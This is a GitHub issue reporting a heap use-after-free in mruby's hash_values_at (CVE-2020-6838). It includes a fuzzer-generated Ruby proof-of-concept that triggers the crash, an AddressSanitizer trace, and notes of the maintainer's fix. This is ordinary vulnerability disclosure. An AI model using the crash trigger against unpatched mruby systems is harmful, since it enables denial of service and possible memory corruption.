heap use after free in hash_values_at in mrbgems/mruby-hash-ext/src/hash-ext.c:33 #4926

Closed **sleicasper** opened this issue on Jan 10, 2020 · 2 comments

sleicasper commented on Jan 10, 2020

compile mruby in ubuntu18.04 64 bit with ASAN.

poc:

```
a=0
b="asdfasdfasdf adaf asdf asdfa sdf asdfasdfasdfa sdf"
c={1=>1, 2=>"foo", "foo"=>nil, nil=> nil}
d=[1,nil," sdfg"]
srand(1337)
a =
c.values_at(b,a,b,d,c,a,d,d,c,d,b,b,b,b,d,c,a,c,a,d,d,b,a,c,d,c,c,b,c,a,a,b,d,b,d,c,c,a,a,b,c,a,d,c,b,b,c,c,d,a,c,d,d,a,c,b,a,d,b,b,b,a,c,b,d,a,a,a,b,a,b,b,a,a,d,a,b,b,c,b,c,d,a,b,a,b
{|| }
```

```
==96660==ERROR: AddressSanitizer: heap-use-after-free on address 0x61d000000af0 at pc 0x0000007bd8e8 bp 0x7fffffff09b0 sp 0x7fffffff09a8
READ of size 8 at 0x61d000000af0 thread T0
[New process 96922]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
process 96922 is executing new program: /home/casper/fuzz/fuzzdeps/llvm9/bin/llvm-symbolizer
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
    #0 0x7bd8e7 in hash_values_at /home/casper/targets/gramma/mruby/dbg/BUILD/mrbgems/mruby-hash-ext/src/hash-ext.c:33:31
    #1 0x59356f in mrb_vm_exec /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:1444:18
    #2 0x583324 in mrb_vm_run /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:947:12
    #3 0x5da14f in mrb_top_run /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:2850:12
    #4 0x6a450d in mrb_load_exec /home/casper/targets/gramma/mruby/dbg/BUILD/mrbgems/mruby-compiler/core/parse.y:6438:7
    #5 0x6a521d in mrb_load_file_cxt /home/casper/targets/gramma/mruby/dbg/BUILD/mrbgems/mruby-compiler/core/parse.y:6447:10
    #6 0x4f24ff in main /home/casper/targets/gramma/mruby/dbg/BUILD/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:327:11
    #7 0x7ffff6a9bb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
    #8 0x41c479 in _start (/home/casper/targets/gramma/mruby/dbg/fuzzrun/mruby+0x41c479)

0x61d000000af0 is located 112 bytes inside of 2048-byte region [0x61d000000a80,0x61d000001280)
freed by thread T0 here:
    #0 0x4a9388 in realloc /home/casper/fuzz/fuzzdeps/llvm-9.0.0.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:164
    #1 0x543a35 in mrb_default_allocf /home/casper/targets/gramma/mruby/dbg/BUILD/src/state.c:56:12
    #2 0x4f56ab in mrb_realloc_simple /home/casper/targets/gramma/mruby/dbg/BUILD/src/gc.c:209:8
    #3 0x4f5dae in mrb_realloc /home/casper/targets/gramma/mruby/dbg/BUILD/src/gc.c:223:8
    #4 0x575629 in stack_extend_alloc /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:203:27
    #5 0x575158 in mrb_stack_extend /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:224:5
    #6 0x578f57 in mrb_funcall_with_block /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:500:5
    #7 0x576ce5 in mrb_funcall_argv /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:539:10
    #8 0x576786 in mrb_funcall /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:400:10
    #9 0x65d032 in mrb_eql /home/casper/targets/gramma/mruby/dbg/BUILD/src/object.c:639:10
    #10 0x670138 in ht_hash_equal /home/casper/targets/gramma/mruby/dbg/BUILD/src/hash.c:126:22
    #11 0x660f09 in ht_get /home/casper/targets/gramma/mruby/dbg/BUILD/src/hash.c:458:11
    #12 0x660276 in mrb_hash_get /home/casper/targets/gramma/mruby/dbg/BUILD/src/hash.c:711:7
    #13 0x7bd97b in hash_values_at /home/casper/targets/gramma/mruby/dbg/BUILD/mrbgems/mruby-hash-ext/src/hash-ext.c:33:31
    #14 0x59356f in mrb_vm_exec /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:1444:18
    #15 0x583324 in mrb_vm_run /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:947:12
    #16 0x5da14f in mrb_top_run /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:2850:12
    #17 0x6a450d in mrb_load_exec /home/casper/targets/gramma/mruby/dbg/BUILD/mrbgems/mruby-compiler/core/parse.y:6438:7
    #18 0x6a521d in mrb_load_file_cxt /home/casper/targets/gramma/mruby/dbg/BUILD/mrbgems/mruby-compiler/core/parse.y:6447:10
    #19 0x4f24ff in main /home/casper/targets/gramma/mruby/dbg/BUILD/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:327:11
    #20 0x7ffff6a9bb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310

previously allocated by thread T0 here:
    #0 0x4a9388 in realloc /home/casper/fuzz/fuzzdeps/llvm-9.0.0.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:164
    #1 0x543a35 in mrb_default_allocf /home/casper/targets/gramma/mruby/dbg/BUILD/src/state.c:56:12
    #2 0x4f56ab in mrb_realloc_simple /home/casper/targets/gramma/mruby/dbg/BUILD/src/gc.c:209:8
    #3 0x4f5dae in mrb_realloc /home/casper/targets/gramma/mruby/dbg/BUILD/src/gc.c:223:8
    #4 0x4f6563 in mrb_malloc /home/casper/targets/gramma/mruby/dbg/BUILD/src/gc.c:245:10
    #5 0x4f6608 in mrb_calloc /home/casper/targets/gramma/mruby/dbg/BUILD/src/gc.c:263:9
    #6 0x57a507 in stack_init /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:131:28
    #7 0x577be9 in mrb_funcall_with_block /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:461:7
    #8 0x5774fc in mrb_funcall_with_block /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:439:13
    #9 0x576ce5 in mrb_funcall_argv /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:539:10
    #10 0x63e56b in mrb_obj_new /home/casper/targets/gramma/mruby/dbg/BUILD/src/class.c:1553:5
    #11 0x5e4894 in mrb_exc_new_str /home/casper/targets/gramma/mruby/dbg/BUILD/src/error.c:31:10
    #12 0x5f00df in mrb_init_exception /home/casper/targets/gramma/mruby/dbg/BUILD/src/error.c:574:20
    #13 0x6c4c94 in mrb_init_core /home/casper/targets/gramma/mruby/dbg/BUILD/src/init.c:42:3
    #14 0x5439cb in mrb_open_core /home/casper/targets/gramma/mruby/dbg/BUILD/src/state.c:43:3
    #15 0x543a9c in mrb_open_allocf /home/casper/targets/gramma/mruby/dbg/BUILD/src/state.c:71:20
    #16 0x543a6a in mrb_open /home/casper/targets/gramma/mruby/dbg/BUILD/src/state.c:63:20
    #17 0x4f0cea in main /home/casper/targets/gramma/mruby/dbg/BUILD/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:253:20
    #18 0x7ffff6a9bb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310

SUMMARY: AddressSanitizer: heap-use-after-free /home/casper/targets/gramma/mruby/dbg/BUILD/mrbgems/mruby-hash-ext/src/hash-ext.c:33:31 in hash_values_at
Shadow bytes around the buggy address:
  0x0c3a7fff8100: fd fd fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c3a7fff8110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c3a7fff8120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c3a7fff8130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c3a7fff8140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c3a7fff8150: fd fd fd fd fd fd fd fd fd fd fd fd fd fd[fd]fd
  0x0c3a7fff8160: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c3a7fff8170: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c3a7fff8180: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
```

```
  0x0c3a7fff8190: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c3a7fff81a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==96660==ABORTING
[Inferior 2 (process 96922) exited normally]
```

matz added a commit that referenced this issue on Jan 10, 2020

`Small refactoring in hash_slice; ref #4926` `fc8fb41`

matz closed this as completed in `70e5746` on Jan 10, 2020

---

matz mentioned this issue on Jan 10, 2020

heap use after free in hash_slice in mrbgems/mruby-hash-ext/src/hash-ext.c:61 #4927

Closed

matz added a commit that referenced this issue on Jan 10, 2020

`Fixed wrong condition in #4926 fix.` `2742ded`

carnil commented on Jan 11, 2020

CVE-2020-6838 was assigned for this issue.

carnil commented on Jan 27, 2020

This issue has been introduced with `694089f`

mimaki mentioned this issue on May 20, 2020

Review a draft of mruby 2.1.1 release note #5004

Closed

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants